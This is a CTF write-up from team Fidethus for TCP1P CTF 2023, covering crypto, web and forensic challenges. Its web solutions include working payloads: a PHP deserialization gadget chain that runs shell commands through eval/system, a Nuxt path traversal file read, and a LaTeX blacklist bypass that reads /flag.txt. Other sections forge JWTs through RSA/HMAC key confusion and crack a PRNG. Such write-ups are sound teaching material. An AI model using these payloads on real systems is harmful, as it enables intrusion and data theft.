TCP1P CTF 2023
It was an exhilarating experience to compete in TCP1P CTF as team Fidethus, with Chovid99 and Djavaa. Despite narrowly missing out on the Top 3, securing a 4th place finish was a tremendous honor, especially considering we were a three-member team competing against teams with many more members. Below is the write-up for some of the challenges that we solved.
Cryptography
Jack’s Worst Trials
(7 Solves, 464 Points)
From the source code, it can be seen that the jwt.decode()
does not enforce the algorithm. This indicates that we might be able to forge a JWT and sign it with the public key, using the HS256 algorithm. The problem is, the part of the code that fetches the website’s public key has been commented out. This means we have to find another way to retrieve the public key.
It turns out that the website is vulnerable to CVE-2017-11424. This enables symmetric/asymmetric key confusion attacks against users using the PKCS1 PEM encoded public keys, which would allow attackers to craft JWTs from scratch.
Using this tool, (silentsignal/rsa_sign2n: Deriving RSA public keys from message-signature pairs (github.com)), we can calculate the public key based on 2 JWTs obtained from logging in to the website twice. To avoid dependencies issue, we will run this tool in docker, from the standalone
folder.
Before building the docker, modify the jwt_forgery.py by adding this on line 41
payload['admin'] = True
so that we can directly use the printed jwt to login and get the flag
└─$ sudo docker build . -t sig2n
└─$ sudo docker run -it sig2n /bin/bash
root@c2ab8f6e13b0:/app# python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJwdWJsaWNfaWQiOiI5NDcyNjBmMy01YWI4LTQ2ZDItYmIwNC1mN2U2OTc3NmIxMTYiLCJuYW1lIjoiMiIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjk3NzM1NDY4fQ.Ka5MmMgtxoXlyENmLywLpcJR04r2Q_WqO78Jy9HmLyBs3DldcUrdvws9GMal8CRTQx0pKN25nwZ1cxz-o0E6tyNn8cbVVV0jwBDrz-soCplDpIAf6YzWMgIGdwnfhGZ1SWrUZn_fP4B6aBavOJO6pDK0oMLHKDlYq1spEjiZ9EQ eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJwdWJsaWNfaWQiOiI5NDcyNjBmMy01YWI4LTQ2ZDItYmIwNC1mN2U2OTc3NmIxMTYiLCJuYW1lIjoiMiIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjk3NzM1NDc2fQ.aH-p_7RbNAt9dT_nSlX1i0PNlebdNKqfaqFZhgL9ADRe71USYQnQgFYqlNznchXpgaza3MrGVwVP5b73aHFb_EXPaRKkfhPv8dW9VKjggnNtvSyRmUHoTvXrP7SDMOqgh27MTP6kUOsvZh1E0YTnlaTxe3QLRFBDjDgGywCyasc
[*] GCD: 0x1
[*] GCD: 0xac093f13ecc248298f46e6c16267db10fd6a955282165b665a1bbea1dc831651cf3a76eddb72e1ffca011a4664fc8956f9cd592e2c6dec0fb656bb5af4a9c00d3f6bd1e0a116fc1835450fa890d1f48653b18d005d33616e8da4246c98da98ce76d44090ab16c5de9e972cbb84e258b2dfbba47cb09667f31b7195d68887bccf
[+] Found n with multiplier 1 :
0xac093f13ecc248298f46e6c16267db10fd6a955282165b665a1bbea1dc831651cf3a76eddb72e1ffca011a4664fc8956f9cd592e2c6dec0fb656bb5af4a9c00d3f6bd1e0a116fc1835450fa890d1f48653b18d005d33616e8da4246c98da98ce76d44090ab16c5de9e972cbb84e258b2dfbba47cb09667f31b7195d68887bccf
[+] Written to ac093f13ecc24829_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwdWJsaWNfaWQiOiAiOTQ3MjYwZjMtNWFiOC00NmQyLWJiMDQtZjdlNjk3NzZiMTE2IiwgIm5hbWUiOiAiMiIsICJhZG1pbiI6IHRydWUsICJleHAiOiAxNjk3ODIxNjAwfQ.5hogYpjETLomsy6KuesaVoPAJ8NLOxhJIIOyX4xaqm0'
[+] Written to ac093f13ecc24829_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwdWJsaWNfaWQiOiAiOTQ3MjYwZjMtNWFiOC00NmQyLWJiMDQtZjdlNjk3NzZiMTE2IiwgIm5hbWUiOiAiMiIsICJhZG1pbiI6IHRydWUsICJleHAiOiAxNjk3ODIxNjAwfQ.1Y6oTMLKduPVd-ywj4OIzBaJ_3roybXTImqXgCoXfaM'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwdWJsaWNfaWQiOiAiOTQ3MjYwZjMtNWFiOC00NmQyLWJiMDQtZjdlNjk3NzZiMTE2IiwgIm5hbWUiOiAiMiIsICJhZG1pbiI6IHRydWUsICJleHAiOiAxNjk3ODIxNjAwfQ.5hogYpjETLomsy6KuesaVoPAJ8NLOxhJIIOyX4xaqm0
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwdWJsaWNfaWQiOiAiOTQ3MjYwZjMtNWFiOC00NmQyLWJiMDQtZjdlNjk3NzZiMTE2IiwgIm5hbWUiOiAiMiIsICJhZG1pbiI6IHRydWUsICJleHAiOiAxNjk3ODIxNjAwfQ.1Y6oTMLKduPVd-ywj4OIzBaJ_3roybXTImqXgCoXfaM
Use the tampered jwt signed with PKCS1
FLAG: TCP1P{im_only_human_after_all_dont_put_your_blame_on_me}
Cherry Leak
(28 Solves, 100 Points)
Do the following to get leaks
nc ctf.tcp1p.com 13339
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 2
choose leak p ? q (+-*/%)
> -
p - q = 178833035477634337098787980370911105254629893438692684220652066155514034693363610427233533587851396508440895819438762025942463830764491299098061633609825779423798024198412008546459077519636702075113034468959303246210233949573558799895557880713333389929206370913498006367650619333909993622659004082831927619986
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 2
choose leak p ? q (+-*/%)
> %
p % q = 506579932144242488510267028157572488601778337363320115090503621878348979844649750150976952703643698993207121045384610633249467380657658156129139926100030
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 1
which prime? (p/q)
> p
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 2
choose leak p ? q (+-*/%)
> -
p - q = 103816887630328490784464141363658470265330354427339999561411312301425538008944161756656842333478007179306724812312194271263713340527164930575110028913623584877345404169453541385820262636418407132812202271626152087313626734095261935604346659537783191331265054464787402158478966765513751606342951875834708272118
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 2
choose leak p ? q (+-*/%)
> %
p % q = 6046091823226464360662564452266498129048036885442934910483196208517731538612616575944306151891309608408464264521692958315237194591593475182223931830482049
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 3
c = 494329538289477713121915764883888339697884802592994711222985484899442960724543539923102765594529982984561135871757747223513659422455404597288575930312382081435298705504094376003451963797425612710888134817162056161732689106617516869903658006724890304817654659507418014204730207057548511433724145438883975967577431339890541845973931538987021231756464267276947180674222187112996668481587264015823583240542021338267682243995711922518314203414008226461521497119910584
With a bit of math, we can obtain:
s1 = p-q1 = 178833035477634337098787980370911105254629893438692684220652066155514034693363610427233533587851396508440895819438762025942463830764491299098061633609825779423798024198412008546459077519636702075113034468959303246210233949573558799895557880713333389929206370913498006367650619333909993622659004082831927619986
t1 = p%q1 = 506579932144242488510267028157572488601778337363320115090503621878348979844649750150976952703643698993207121045384610633249467380657658156129139926100030
s2 = p-q2 = 103816887630328490784464141363658470265330354427339999561411312301425538008944161756656842333478007179306724812312194271263713340527164930575110028913623584877345404169453541385820262636418407132812202271626152087313626734095261935604346659537783191331265054464787402158478966765513751606342951875834708272118
t2 = p%q2 = 6046091823226464360662564452266498129048036885442934910483196208517731538612616575944306151891309608408464264521692958315237194591593475182223931830482049
c = 494329538289477713121915764883888339697884802592994711222985484899442960724543539923102765594529982984561135871757747223513659422455404597288575930312382081435298705504094376003451963797425612710888134817162056161732689106617516869903658006724890304817654659507418014204730207057548511433724145438883975967577431339890541845973931538987021231756464267276947180674222187112996668481587264015823583240542021338267682243995711922518314203414008226461521497119910584
p1 = s1 + q
p1 = k1*q + t1
k1*q + t1 = s1 + q
(k1 - 1)*q = s1 - t1
p2 = s2 + q
p2 = k2*q + t2
k2*q + t2 = s2 + q
(k2 - 1)*q = s2 - t2
since q is prime, we can obtain K*q from gcd((k1 - 1)*q, (k2 - 1)*q) = gcd(s1-t1, s2-t2). We can then factorize K*q to get the prime q
We can then quickly solve this calculation using sage
sage: ecm.factor(gcd(s1-t1,s2-t2))
[3,
10854393443988059968673350220604514443995514587151779202006695752710306191576456930155256281977692624907459497238681266212611293651481305920079548632278681]
sage: q = 108543934439880599686733502206045144439955145871517792020066957527103061915764569301552562819776926249074594972386812662126
....: 11293651481305920079548632278681
sage: p = s2 + q
sage: e = 65537
sage: d = e.inverse_mod((p-1)*(q-1))
sage: m = pow(c,d,p*q)
sage: from Crypto.Util.number import long_to_bytes
sage: long_to_bytes(int(m))
b"TCP1P{in_life's_abundance_a_fragment_suffices}"
FLAG: TCP1P{in_life's_abundance_a_fragment_suffices}
Spider Shambles
(31 Solves, 100 Points)
The method random.getrandbits()
is not cryptographically secure. We can use randcrack
(https://github.com/tna0y/Python-random-module-cracker) to predict the the next pseudorandom number.
Notice that the flago.jpg
is XOR-ed with a random key, and we are given the output of the XOR operation in the downloaded file babababububu
.
Commutative properties of XOR: if A XOR B = C then B XOR C = A
Hence, if we can predict the random key used for the XOR operation, by XOR-ing this predicted key against the downloaded file babababububu
, we can obtain flago.jpg
.
Also, notice that when we upload a file, our file will get XOR-ed with an unknown key, and we can get our hands on the XOR result in the form of the downloaded file lalalalululu
.
Identity properties of XOR: if A XOR 0 = A
Hence, we can upload file containing null bytes, which when XOR-ed against the random key, will result in the key itself. This means, the downloded file lalalalululu
will contain the random key itself. The set of random keys that we obtain here can be used to model the state of the PRNG by feeding it to randcrack
, which will then predict the random key used to XOR the flago.jpg
Below is the script that will:
- Send 624 POST request containing null bytes to get 624 inputs for
randcrack
- Compare whether the 625th random key matches the predicted key
- Predict a key of the length 386035 bytes
- XOR the predicted key against
babababububu
to getflago.jpg
Note that it might take a while to run the script due to the calculation of randcrack
for large result
(~15 minutes)
import requests
from randcrack import RandCrack
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
import io
# Base URL of the server
BASE_URL = "http://ctf.tcp1p.com:54734/"
# Create a session to persist cookies and other session-based info
session = requests.Session()
def upload_zero_file():
# Create a 4-byte file containing only zero bytes
zero_file = io.BytesIO(b'\x00\x00\x00\x00')
# POST request to the server
response = session.post(
BASE_URL,
files={"file": ("zero.txt", zero_file)}
)
# Return the content of the response, which should be the encrypted file data
return response.content
rc = RandCrack()
# List to collect the downloaded data
downloaded_data_list = []
# Send 625 POST requests and collect the data
for _ in range(625):
downloaded_data_list.append(upload_zero_file())
# Get the content from /flago
response = session.get(BASE_URL + "flago")
with open("flago_encrypted_content", "wb") as file:
file.write(response.content)
# Submit the first 624 downloaded data to RandCrack
for data in downloaded_data_list[:-1]:
number = b2l(data)
rc.submit(number)
# Convert the 625th downloaded data to a number and print it
final_number = b2l(downloaded_data_list[-1])
print("625th POST request number:", final_number)
# Predict the next random number using RandCrack
predicted_number = rc.predict_getrandbits(32)
print("Predicted random number:", predicted_number)
# XOR and encryption functions
def xor(a, b):
return b''.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)])
def encropt(buff):
rand = rc.predict_getrandbits(len(buff)*8)
return xor(buff, l2b(rand))
# Read the content of the file 'flago_encrypted_content'
with open("flago_encrypted_content", "rb") as file:
content = file.read()
# Decrypt the content and print the XOR output
decrypted_content = encropt(content)
with open("flago.jpg", "wb") as file:
file.write(decrypted_content)
FLAG: TCP1P{life's_twisted_like_a_back_road_in_the_country}
Final Consensus
(56 Solves, 100 Points)
This challenge can be solved using the “Meet in the Middle” (MitM) attack, which is a cryptographic attack that works on double encryption schemes. Given a plaintext and its double encryption, the attacker first encrypts the plaintext with every possible key and stores the result. Then, for every possible key, the attacker decrypts the ciphertext. If a decrypted ciphertext matches an encrypted plaintext, the attacker has found a pair of keys that could have been used for the double encryption.
Below is the script to solve the challenge
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
flag_enc_enc = bytes.fromhex(input("Alice's flag>> "))
# The known ciphertext - plaintext pair
plaintext = input("Steve's plain>> ")
ciphertext = bytes.fromhex(input("Steve's cipher>> "))
# All possible keys
keys = [(str(i).zfill(6)*4)[:16].encode() for i in range(1000000)]
# Encrypt the plaintext with all possible keys for 'a'
enc_mapping = {}
for key in keys:
cipher = AES.new(key, mode=AES.MODE_ECB)
ct = cipher.encrypt(pad(plaintext.encode(), 16))
enc_mapping[ct] = key
# Decrypt the ciphertext with all possible keys for 'b' and look for a match
for key in keys:
cipher = AES.new(key, mode=AES.MODE_ECB)
decrypted = cipher.decrypt(ciphertext)
if decrypted in enc_mapping:
a = enc_mapping[decrypted]
b = key
print(f"Found keys: a = {a}, b = {b}")
break
# Double Decrypt flag
cipher = AES.new(b, mode=AES.MODE_ECB)
flag_enc = cipher.decrypt(flag_enc_enc)
cipher = AES.new(a, mode=AES.MODE_ECB)
flag = cipher.decrypt(flag_enc)
flag = unpad(cipher.decrypt(flag_enc), 16) # Added unpad to get proper plaintext
print(flag.decode())
$ nc ctf.tcp1p.com 35257
Alice: My message 706ea4db75b90c37fdd6587ffd1a19f5837e5e2b5553048a76447e55b0dcc4be83e7fdb59df5c0b4cd9c176aaa9b8654ee18cfed4755d7f2f95f558c1728d429df9fcf671d218330ac138d7b2074e8f5
Alice: Now give me yours!
>> thanks
Steve: 594253657cdf5462675ad58c06b987bd
Alice: Agree.
$ python3 mitm.py
Alice's flag>> 706ea4db75b90c37fdd6587ffd1a19f5837e5e2b5553048a76447e55b0dcc4be83e7fdb59df5c0b4cd9c176aaa9b8654ee18cfed4755d7f2f95f558c1728d429df9fcf671d218330ac138d7b2074e8f5
Steve's plain>> thanks
Steve's cipher>> 594253657cdf5462675ad58c06b987bd
Found keys: a = b'4231464231464231', b = b'1843881843881843'
TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}
FLAG: TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}
One Pad Time
(67 Solves, 100 Points)
Since the length of the key is 16 bytes, the key can only be retrieved if we XOR the last 16 bytes of the ct in output.txt against a 16-bytes pad. So, let us assume that the original ct (before XOR) was 256 bytes, and the pad is 16 bytes. Thr pad method follows the PKCS#7 padding scheme, which fills up the remaining block space with bytes that are equal to the number of padding bytes. By reversing the XOR and AES encryption, we can retrieve the flag.
In [5]: from pwn import xor
In [6]: pad=b'\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
In [7]: ct = b'h\x08\xafmDV\xaa\xcd\xea\xe9C\xdd7/\x1fF\xe2?\xcb\xb0\x1d F\xcc\xe5\xa6\x9dTJ\\\xd1\x90\xac\xe0\x1c\x891}\x83*\x86\xee\xc4~\xa0\x18\xa8\x06\xea"{|\x0b\x92[\x9a[\x91\xc8\x19\xb7FK\x01\xb5\xf98\x80\x9bR)2\x84`\xb3E\t\xd5\xe5\xf0[\x83\xc6\x19\x82\r\x7f\xfaGF\xdb\xcb\xab\xd5~\x95\t\xdd\xb5E>F\xdd\xa9\xa6\x82\x86\xee"\x99\xd9\xcc\xaf\xce\xf0\'\xb3\xf4~\xcf\xdb\xc8\xbd3\x01\xd0,}]\xd5V\xd3?\xb0\xe7\xb4[4\x8a\xa2[\xa1TV\xd16\x1f\xbd"\xc8\xa2\\K\x16I%\xdaL\xc6\xfb\xb7f.\x98\xc3\xf4J\x1b\xe9TT\x83-\x98BO\xb4\x00~\xb5w\xcf7m\xa1\xea\xa9\xf6\xa6\xee\x00Y\xdfE\x9c7\xe3\xa3\xa2\x1f=.\x85\x08l\xacN\xfb2\x89\x8bB\x7f\x94\x91p\x10ep\x9b\x06oz\x87&U]J\x019\x12W\xce<\xc8\xa8\xb4v\xaf,\xb1n\x8b\xf5\xfe\xf8\r\xa7:r\xe8\xe0fvKN\\\xea\xe0\xa1\xe3\x99\xcc\xfd\x1a\x99Q\x90\xdf}\xae\xad'
In [8]: key=xor(ct[256:],pad)
In [9]: ct_padded=xor(ct,key)
In [10]: iv = b'\xf5\x8e\x85ye\xc8j(%\xc4K\xc1g#\x86\x1a'
In [11]: from Crypto.Cipher import AES
In [12]: cipher = AES.new(key, AES.MODE_CBC, iv)
In [13]: cipher.decrypt(ct_padded)
Out[13]: b'TCP1P{why_did_the_chicken_cross_the_road?To_ponder_the_meaning_of_life_on_the_other_side_only_to_realize_that_the_road_itself_was_an_arbitrary_construct_with_no_inherent_purpose_and_that_true_enlightenment_could_only_be_found_within_its_own_existence_1234}\xbau\xb9\x0cV\xc4R\x95O\r\x85\x18\tH#F'
FLAG: TCP1P{why_did_the_chicken_cross_the_road?To_ponder_the_meaning_of_life_on_the_other_side_only_to_realize_that_the_road_itself_was_an_arbitrary_construct_with_no_inherent_purpose_and_that_true_enlightenment_could_only_be_found_within_its_own_existence_1234}
Web
Un Secure
(68 Solves, 100 Points)
From reading the source code, there are some key observations:
index.php
is vulnerable to object deserialization since it usesunserialize()
on user-controlled input (in this case, a cookie).- Composer’s autoloader (
vendor/autoload.php
) is included, so the classes in the given directories can be loaded automatically upon deserialization. - The
GadgetThree\Vuln
class has a__toString
magic method which contains aneval()
function, meaning any serialized instance of this class will execute code when cast to a string. - The class checks for three conditions before the
eval()
function gets called:$this->waf1
must be1
$this->waf2
must be"\xde\xad\xbe\xef"
$this->waf3
must befalse
- The
GadgetTwo\Echoers
class has a__destruct
magic method which will echo (and therefore evaluate the__toString
method of) any class instance stored in the$klass
property.
Steps to read the flag:
- Destructors:
- If a class has a
__destruct
method, it is automatically called when an object of that class goes out of scope or when the script execution ends. - In this case, the
__destruct
method ofGadgetTwo\Echoers
will execute when deserialization is complete (or when the script ends). - This destructor (
GadgetTwo\Echoers::__destruct
) will call theget_x()
method on the object stored in its$klass
property. In our payload, this object is an instance ofGadgetOne\Adders
.
- If a class has a
- Chaining Gadgets:
- When
GadgetTwo\Echoers::__destruct
callsGadgetOne\Adders::get_x()
, it returns the object stored in its$x
property. This is theGadgetThree\Vuln
object. - Now, the magic happens: PHP tries to echo (or print) an object. When you try to echo an object, PHP looks for a
__toString
method in that object’s class and calls it. In our payload, the object being echoed isGadgetThree\Vuln
, which has the__toString
method.
- When
- RCE Execution:
- The
__toString
method ofGadgetThree\Vuln
has a series of checks for thewaf1
,waf2
, andwaf3
properties. If they all pass (and in our payload, they do), it proceeds to theeval($this->cmd)
line. eval()
is a dangerous function that takes a string as an argument and runs it as PHP code. Thecmd
property of ourGadgetThree\Vuln
object contains the malicious command to be executed, achieving RCE.
- The
Crafting Payload:
- You start with
GadgetThree\Vuln
and set its properties (waf1
,waf2
,waf3
, andcmd
). Among these,cmd
is the command you intend to execute. - Then you wrap this object within the
$x
property ofGadgetOne\Adders
. - Finally, this
GadgetOne\Adders
object (which now containsGadgetThree\Vuln
) is wrapped within the$klass
property ofGadgetTwo\Echoers
.
b'O:17:"GadgetTwo\\Echoers":1:{s:5:"klass";O:16:"GadgetOne\\Adders":1:{s:1:"x";O:16:"GadgetThree\\Vuln":4:{s:4:"waf1";i:1;s:7:"\x00*\x00waf2";s:4:"\xde\xad\xbe\xef";s:10:"\x00Vuln\x00waf3";b:0;s:3:"cmd";s:13:"system(\'ls\');";}}}'
Here is breakdown of the cookie payload before we encode it to base64:
- Objects:
- Format:
O:size:"classname":property_count:{serialized_properties}
- Example:O:17:"GadgetTwo\\Echoers":1:{...}
-O
denotes an object. -17
is the size of the class name. -"GadgetTwo\\Echoers"
is the class name (with namespace). Note the double backslashes, which is an escape sequence for a single backslash in serialized strings. -1
is the property count of this object. - Strings:
- Format:
s:size:"string"
- Example:
s:5:"klass"
s
denotes a string.5
is the size of the string."klass"
is the actual string.
- Format:
- Integers:
- Format:
i:value
- Example:
i:1
i
denotes an integer.1
is the integer value.
- Format:
- Booleans:
- Format:
b:value
- Example:
b:0
b
denotes a boolean.0
isfalse
(while1
would betrue
).
- Format:
- Private/Protected properties:
- Private and protected properties are serialized with a NULL byte prefix and/or a star (*). Specifically:
- Private properties:
\x00classname\x00propertyname
- Protected properties:
\x00*\x00propertyname
- Private properties:
- Private and protected properties are serialized with a NULL byte prefix and/or a star (*). Specifically:
From this information, we can craft a new cookie to read the random filename of the flag, an decode it to base64
b'O:17:"GadgetTwo\\Echoers":1:{s:5:"klass";O:16:"GadgetOne\\Adders":1:{s:1:"x";O:16:"GadgetThree\\Vuln":4:{s:4:"waf1";i:1;s:7:"\x00*\x00waf2";s:4:"\xde\xad\xbe\xef";s:10:"\x00Vuln\x00waf3";b:0;s:3:"cmd";s:65:"var_dump(system(\'cat 182939124819238912571292389218129123.txt\'));";}}}'
FLAG: TCP1P{unserialize in php go brrrrrrrr ouch}
A Simple Web
(122 Solves, 100 Points)
Notice this part inside the Dockerfile
...
# Clone the Nuxt.js repository and switch to the desired release
RUN git clone https://github.com/nuxt/framework.git /app && \
cd /app && \
git checkout v3.0.0-rc.12
...
# Start the Nuxt.js development server
CMD ["pnpm", "run", "dev", "--host", "0.0.0.0"]
Nuxt.js version <= rc12
is vulnerable to dev mode path traversal. This vulnerability permits arbitrary file reads while the dev server is running. This can provide a wide range of sensitive information on the target server depending on configuration. The root cause is due to Vite configuration has strict
set to false.
Dev mode Path traversal vulnerability found in framework (huntr.com)
The path traversal can be exploited as follow:
/_nuxt/@fs/flag.txt
Flag: TCP1P{OuTD4t3d_NuxxT_fR4m3w0RkK}
Latex
(Solved after competition has ended, 38 Solves, 100 Points)
Notice this part of main.go
which contains blacklisted strings
var (
//go:embed static/*
static embed.FS
blacklist = []string{"\\input", "include", "newread", "openin", "file", "read", "closein",
"usepackage", "fileline", "verbatiminput", "url", "href", "text", "write",
"newwrite", "outfile", "closeout", "immediate", "|", "write18", "includegraphics",
"openout", "newcommand", "expandafter", "csname", "endcsname", "^^"}
)
We can bypass the blacklist using the \catcode
command. which will change the category code (often referred to as “catcode”) of a character. Every character in LaTeX has a category code that dictates its behavior.
\documentclass[12pt]{article}
\begin{document}
\catcode`\@=0
\catcode`\_=13
@input{/flag.txt}
\end{document}
The payload above will do the following:
- Changes the category code of
@
to 0, making it equivalent to a backslash\
(escape character). - Changes the category code of
_
to 13, making it an active character (like a macro). This is needed because the output of reading the flag.txt will contain_
, which will cause LaTex error if its default behavior is not changed. - Tries to input the file
/flag.txt
into the document, using@input
instead of the typical\input
.
Note that {
and }
were not printed because they have special significance for grouping and scoping in LaTex.
FLAG: TCP1P{bypassing latex waf require some latex knowledge}
Forensic
brokenimg
(57 Solves, 100 Points)
└─$ exiftool chall.pdf
ExifTool Version Number : 12.65
File Name : chall.pdf
Directory : .
File Size : 42 kB
File Modification Date/Time : 2023:10:14 14:37:28+07:00
File Access Date/Time : 2023:10:21 01:26:36+07:00
File Inode Change Date/Time : 2023:10:14 14:45:16+07:00
File Permissions : -rwxrwxrwx
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
XMP Toolkit : Image::ExifTool 12.65
Artist : Maybe here : 150 164 164 160 163 72 57 57 146 151 154 145 163 56 144 157 170 142 151 156 56 147 147 57 157 63 126 144 162 115 160 164 56 160 156 147
We can identify the cipher in the Artist field using the cipher identifier from Decrypt a Message - Cipher Identifier - Online Code Recognizer (dcode.fr) It turns out to be the Octal representation of ASCII. The resulting URL, when visited gave us a shifted image. https://files.doxbin.gg/o3VdrMpt.png
The following code will unshift the image to its original state:
from PIL import Image
import numpy as np
def unshift_row(row, shift, width):
"""
Unshift a given row by the specified number of pixels.
"""
left = row[:width - shift]
right = row[width - shift:]
return right + left
def unshift_image(image):
"""
Unshift the rows of the given image.
"""
pixels = list(image.getdata())
w, h = image.size
# Convert the 1D pixel data to 2D
pixels_2d = [pixels[i * w : (i + 1) * w] for i in range(h)]
shift = 0
result = []
for row in pixels_2d:
new_row = unshift_row(row, shift, w)
result.append(new_row)
# Increase shift and wrap around row length
shift = (shift + 3) % w
return np.array(result, dtype=np.uint8)
def main(input_image_path, output_image_path):
image = Image.open(input_image_path)
array = unshift_image(image)
new_image = Image.fromarray(array)
new_image.save(output_image_path)
if __name__ == "__main__":
main('o3VdrMpt.png', 'unshifted.png')
unshifted.png
The presence of ======
indicates that it might be base32-encoded text. After appending the two texts, base32 decoding, and then base64 decoding it, we get our flag.
In [21]: b32decode("KZCU4UKNKZBDOY2HKJWVQMTHGBSGUTTGJZDDSUKNK5HDAZCYJF5FQMSKONSFQSTGJZDTK22YPJLG6TKXLIYGMULPHU======")
Out[21]: b'VENQMVB7cGRmX2g0djNfNF9QMWN0dXIzX2JsdXJfNG5kXzVoMWZ0fQo='
In [22]: b64decode("VENQMVB7cGRmX2g0djNfNF9QMWN0dXIzX2JsdXJfNG5kXzVoMWZ0fQo=")
Out[22]: b'TCP1P{pdf_h4v3_4_P1ctur3_blur_4nd_5h1ft}\n'
FLAG: TCP1P{pdf_h4v3_4_P1ctur3_blur_4nd_5h1ft}
hide and split
(128 Solves, 100 Points)
Opening challenge.ntfs using Autopsy, we can see that the flag has been split into several parts.
If we look closely at flag00.txt:flag0
, the Extracted Text indicates that it is the Magic Byte of PNG file.
89504e470d0a1a0a0000000d49484452000003390000033908000000000179a0c500000e684
Looking at the Extracted Text of MFT
, we can extract the hexstrings from each flag partitions, concatenate them, and potentially convert them to a PNG file that contains the flag.
After copy-pasting the content of Extracted Text from $MFT
to ntfs.txt
, using this code, we can extract only the hexstrings and convert it to ntfs.png
import re
# Read the text file
with open('ntfs.txt', 'r') as f:
content = f.read()
# Extract hexadecimal strings based on the provided pattern
hex_strings = re.findall(r'flag\d+\n\t([a-f0-9]+)', content, re.IGNORECASE)
# Concatenate all the extracted hex strings
concatenated_hex = ''.join(hex_strings)
# Convert the concatenated hex string into bytes
byte_data = bytes.fromhex(concatenated_hex)
# Write the bytes to an output file
with open('ntfs.png ', 'wb') as f:
f.write(byte_data)
print("Done!")
ntfs.png After the QR code is scanned, the flag is obtained.
FLAG: TCP1P{hidden_flag_in_the_extended_attributes_fea73c5920aa8f1c}
Ez PDF
(137 Solves, 100 Points)
└─$ exiftool TCP1P-CTF.pdf
ExifTool Version Number : 12.65
File Name : TCP1P-CTF.pdf
Directory : .
File Size : 81 kB
File Modification Date/Time : 2023:10:14 11:58:12+07:00
File Access Date/Time : 2023:10:21 03:00:10+07:00
File Inode Change Date/Time : 2023:10:21 02:59:44+07:00
File Permissions : -rwxrwxrwx
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.3
Linearized : No
Has XFA : No
Page Count : 1
XMP Toolkit : Image::ExifTool 12.40
Creator : SW4gdGhpcyBxdWVzdGlvbiwgdGhlIGZsYWcgaGFzIGJlZW4gZGl2aWRlZCBpbnRvIDMgcGFydHMuIFlvdSBoYXZlIGZvdW5kIHRoZSBmaXJzdCBwYXJ0IG9mIHRoZSBmbGFnISEgVENQMVB7RDAxbjlfRjAyM241MUM1
1st part of the flag
In [23]: b64decode("SW4gdGhpcyBxdWVzdGlvbiwgdGhlIGZsYWcgaGFzIGJlZW4gZGl2aWRlZCBpbnRvIDMgcGFydHMuIFlvdSBoYXZlIGZvdW5kIHRoZSBmaXJzdCBw
...: YXJ0IG9mIHRoZSBmbGFnISEgVENQMVB7RDAxbjlfRjAyM241MUM1")
Out[23]: b'In this question, the flag has been divided into 3 parts. You have found the first part of the flag!! TCP1P{D01n9_F023n51C5'
3rd part of the flag
└─$ pdf-parser TCP1P-CTF.pdf
...
obj 4 0
Type: /Action
Referencing:
<<
/Type /Action
/S /JavaScript
/JS "(var whutisthis = 1; if (whutisthis === 1) { this.print({bUI:true,bSilent:false,bShrinkToFit:true}); } else { function _0x510a(_0x4c8c49,_0x29ea76){var _0x5934bd=_0x5934();return _0x510a=function(_0x510a0b,_0x1b87bb){_0x510a0b=_0x510a0b-0x174;var _0x6c8a33=_0x5934bd[_0x510a0b];return _0x6c8a33;},_0x510a(_0x4c8c49,_0x29ea76);}(function(_0x39f268,_0x3518a2){var _0x43b398=_0x510a,_0x1759ee=_0x39f268();while(!![]){try{var _0x14396e=-parseInt(_0x43b398(0x175))/0x1*(-parseInt(_0x43b398(0x177))/0x2)+parseInt(_0x43b398(0x17e))/0x3+-parseInt(_0x43b398(0x17b))/0x4*(parseInt(_0x43b398(0x179))/0x5)+parseInt(_0x43b398(0x183))/0x6*(parseInt(_0x43b398(0x180))/0x7)+parseInt(_0x43b398(0x17f))/0x8+-parseInt(_0x43b398(0x17d))/0x9*(-parseInt(_0x43b398(0x17a))/0xa)+parseInt(_0x43b398(0x178))/0xb*(-parseInt(_0x43b398(0x182))/0xc);if(_0x14396e===_0x3518a2)break;else _0x1759ee['push'](_0x1759ee['shift']());}catch(_0x21db70){_0x1759ee['push'](_0x1759ee['shift']());}}}(_0x5934,0x1d736));function pdf(){var _0xcd7ad1=_0x510a;a=_0xcd7ad1(0x181),b=_0xcd7ad1(0x176),c=_0xcd7ad1(0x174),console[_0xcd7ad1(0x17c)](a+c+b);}pdf();function _0x5934(){var _0x3c1521=['_15N7_17','60PQFHXK','125706IwDCOY','_l3jaf9c','1aRbLpO','i293m1d}','52262iffCez','211310EDRVNg','913730rOiDAg','10xwGGOy','4mNGkXM','log','747855AiEFNc','333153VXlPoX','1265584ccEDtU','7BgPRoR'];_0x5934=function(){return _0x3c1521;};return _0x5934();} })"
>>
...
After changing var whutisthis = 1
to var whutisthis = 0
, the JS code will print out the 3rd part of the flag when executed.
2nd part of the flag
Looking closely at the rest of the ouput from pdf-parser
, the pdf contains 2 image files in obj 10 and obj 11. However, there is only 1 image in the pdf which can be seen by eyes. This invisible image in the pdf might contain the 2nd part of the flag.
